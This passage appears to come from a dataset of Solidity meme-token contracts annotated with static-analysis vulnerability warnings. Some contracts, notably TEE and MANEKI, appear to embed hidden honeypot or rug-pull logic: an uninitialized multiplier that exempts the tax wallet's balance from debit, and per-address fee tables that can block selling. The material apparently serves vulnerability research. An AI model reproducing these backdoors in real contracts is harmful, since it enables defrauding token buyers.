uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 554fc4e\n\t\t\t\t// reentrancy-eth | ID: 127dbbc\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 554fc4e\n\t\t\t\t\t// reentrancy-eth | ID: 127dbbc\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 127dbbc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 127dbbc\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 127dbbc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 554fc4e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 127dbbc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 127dbbc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 554fc4e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 46a05c5\n\t\t// reentrancy-events | ID: 554fc4e\n\t\t// reentrancy-benign | ID: 8032f88\n\t\t// reentrancy-eth | ID: 127dbbc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: eb4e20a): BlazeX.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for eb4e20a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 46a05c5\n\t\t// reentrancy-events | ID: 554fc4e\n\t\t// reentrancy-eth | ID: 127dbbc\n\t\t// arbitrary-send-eth | ID: eb4e20a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e93b6b0): BlazeX.addLP() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e93b6b0: Ensure that all the return values of the function calls are used.\n function addLP() external onlyOwner {\n\t\t// unused-return | ID: e93b6b0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1c5b6fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1c5b6fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cc8c15c): BlazeX.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cc8c15c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d3787a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d3787a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 1c5b6fb\n\t\t// unused-return | ID: cc8c15c\n\t\t// reentrancy-no-eth | ID: d3787a6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1c5b6fb\n swapEnabled = true;\n\n\t\t// reentrancy-no-eth | ID: d3787a6\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 1c5b6fb\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10591.sol",
"size_bytes": 21688,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function balanceOf(address _account) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n}\n\nabstract contract Ownable is Context {\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address private _owner;\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TEE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n IUniswapV2Router02 private _uniswapRouter;\n\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2e5609c): TEE._taxWallet should be immutable \n\t// Recommendation for 2e5609c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 349c748): TEE._initialBuyTax should be constant \n\t// Recommendation for 349c748: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 7;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74191e6): TEE._initialSellTax should be constant \n\t// Recommendation for 74191e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea9e941): TEE._finalBuyTax should be constant \n\t// Recommendation for ea9e941: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2412589): TEE._finalSellTax should be constant \n\t// Recommendation for 2412589: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 96de0b9): TEE._reduceBuyTaxAt should be constant \n\t// Recommendation for 96de0b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ca7868): TEE._reduceSellTaxAt should be constant \n\t// Recommendation for 9ca7868: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41f762c): TEE._preventSwapBefore should be constant \n\t// Recommendation for 41f762c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 7;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TEE\";\n\n string private constant _symbol = unicode\"TEE\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14f53b6): TEE._taxSwapThreshold should be constant \n\t// Recommendation for 14f53b6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64976ee): TEE._maxTaxSwap should be constant \n\t// Recommendation for 64976ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct ClaimSignParams {\n uint256 claimSign;\n uint256 claimTime;\n uint256 claimPeriod;\n }\n\n uint256 private maxClaimTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: 301b6d5): TEE.signExclude should be constant \n\t// Recommendation for 301b6d5: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1d048e8): TEE.signExclude is never initialized. It is used in TEE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1d048e8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private signExclude;\n\n mapping(address => ClaimSignParams) private claimSignParams;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xC35a64E42753fc8c45ea8cef9D5f037970bb9EEa);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4479aed): TEE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4479aed: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7648510): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7648510: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3535aa6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3535aa6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7648510\n\t\t// reentrancy-benign | ID: 3535aa6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7648510\n\t\t// reentrancy-benign | ID: 3535aa6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1890707): TEE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1890707: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3535aa6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7648510\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 42170b0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 42170b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dca6296): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dca6296: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8178298): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8178298: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(_uniswapRouter) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 42170b0\n\t\t\t\t// reentrancy-benign | ID: dca6296\n\t\t\t\t// reentrancy-eth | ID: 8178298\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 42170b0\n\t\t\t\t\t// reentrancy-eth | ID: 8178298\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: dca6296\n maxClaimTime = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n ClaimSignParams storage signParams = claimSignParams[to];\n\n if (from == uniswapV2Pair) {\n if (signParams.claimSign == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: dca6296\n signParams.claimSign = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n ClaimSignParams storage signParamsUnique = claimSignParams[\n from\n ];\n\n if (\n signParams.claimSign == 0 ||\n signParamsUnique.claimSign < signParams.claimSign\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: dca6296\n signParams.claimSign = signParamsUnique.claimSign;\n }\n }\n } else {\n ClaimSignParams storage signParamsUnique = claimSignParams[\n from\n ];\n\n\t\t\t\t// reentrancy-benign | ID: dca6296\n signParamsUnique.claimTime = signParamsUnique.claimSign.sub(\n maxClaimTime\n );\n\n\t\t\t\t// reentrancy-benign | ID: dca6296\n signParamsUnique.claimPeriod = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 42170b0\n\t\t// reentrancy-eth | ID: 8178298\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 8178298\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 8178298\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 42170b0\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1d048e8): TEE.signExclude is never initialized. It is used in TEE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1d048e8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : signExclude.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8178298\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 42170b0\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n _approve(address(this), address(_uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7648510\n\t\t// reentrancy-events | ID: 42170b0\n\t\t// reentrancy-benign | ID: dca6296\n\t\t// reentrancy-benign | ID: 3535aa6\n\t\t// reentrancy-eth | ID: 8178298\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7648510\n\t\t// reentrancy-events | ID: 42170b0\n\t\t// reentrancy-eth | ID: 8178298\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function manualSwap() external {\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3cbdb65): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3cbdb65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 37f2378): TEE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_uniswapRouter),type()(uint256).max)\n\t// Recommendation for 37f2378: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: caf5762): TEE.enableTrading() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for caf5762: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f8150f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f8150f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(_uniswapRouter), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3cbdb65\n\t\t// reentrancy-eth | ID: f8150f4\n uniswapV2Pair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3cbdb65\n swapEnabled = true;\n\n\t\t// unused-return | ID: caf5762\n\t\t// reentrancy-eth | ID: f8150f4\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 37f2378\n\t\t// reentrancy-eth | ID: f8150f4\n IERC20(uniswapV2Pair).approve(address(_uniswapRouter), type(uint).max);\n\n\t\t// reentrancy-eth | ID: f8150f4\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10592.sol",
"size_bytes": 23128,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Ownable {\n address internal _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"!owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5ed50ba): Ownable.transferOwnershipboomaneki(address).newOwner lacks a zerocheck on \t _owner = newOwner\n\t// Recommendation for 5ed50ba: Check that the address is not zero.\n function transferOwnershipboomaneki(\n address newOwner\n ) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 5ed50ba\n\t\t// events-access | ID: af4c379\n _owner = newOwner;\n }\n}\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 86c4141): Contract locking ether found Contract MANEKI has payable functions MANEKI.receive() But does not have a function to withdraw the ether\n// Recommendation for 86c4141: Remove the 'payable' attribute or add a withdraw function.\ncontract MANEKI is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 724811a): MANEKI._swapFeeTo should be immutable \n\t// Recommendation for 724811a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _swapFeeTo;\n string public name;\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: da7a783): MANEKI.decimals should be immutable \n\t// Recommendation for da7a783: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 40649a2): MANEKI.totalSupply should be immutable \n\t// Recommendation for 40649a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 53fafbc): MANEKI._uniswapRouter should be immutable \n\t// Recommendation for 53fafbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public _uniswapRouter;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0299183): MANEKI.inSwap should be constant \n\t// Recommendation for 0299183: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 23736ea): MANEKI.inSwap is never initialized. It is used in MANEKI._transfer(address,address,uint256)\n\t// Recommendation for 23736ea: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n bool private inSwap;\n uint256 private constant MAX = ~uint256(0);\n\n mapping(address => uint256) public __balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c6231d4): MANEKI._swapTax should be immutable \n\t// Recommendation for c6231d4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapTax;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e76b38f): MANEKI._uniswapPair should be immutable \n\t// Recommendation for e76b38f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 23736ea): MANEKI.inSwap is never initialized. It is used in MANEKI._transfer(address,address,uint256)\n\t// Recommendation for 23736ea: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 6ef8e27): MANEKI._transfer(address,address,uint256)._taxAmount is a local variable never initialized\n\t// Recommendation for 6ef8e27: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n bool shouldBetakeFee = !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to];\n\n _balances[from] = _balances[from] - amount;\n\n uint256 _taxAmount;\n\n if (shouldBetakeFee) {\n uint256 feeAmount = (amount * __balances[from]) / 100;\n\n _taxAmount += feeAmount;\n\n if (feeAmount > 0) {\n _balances[address(_swapFeeTo)] += 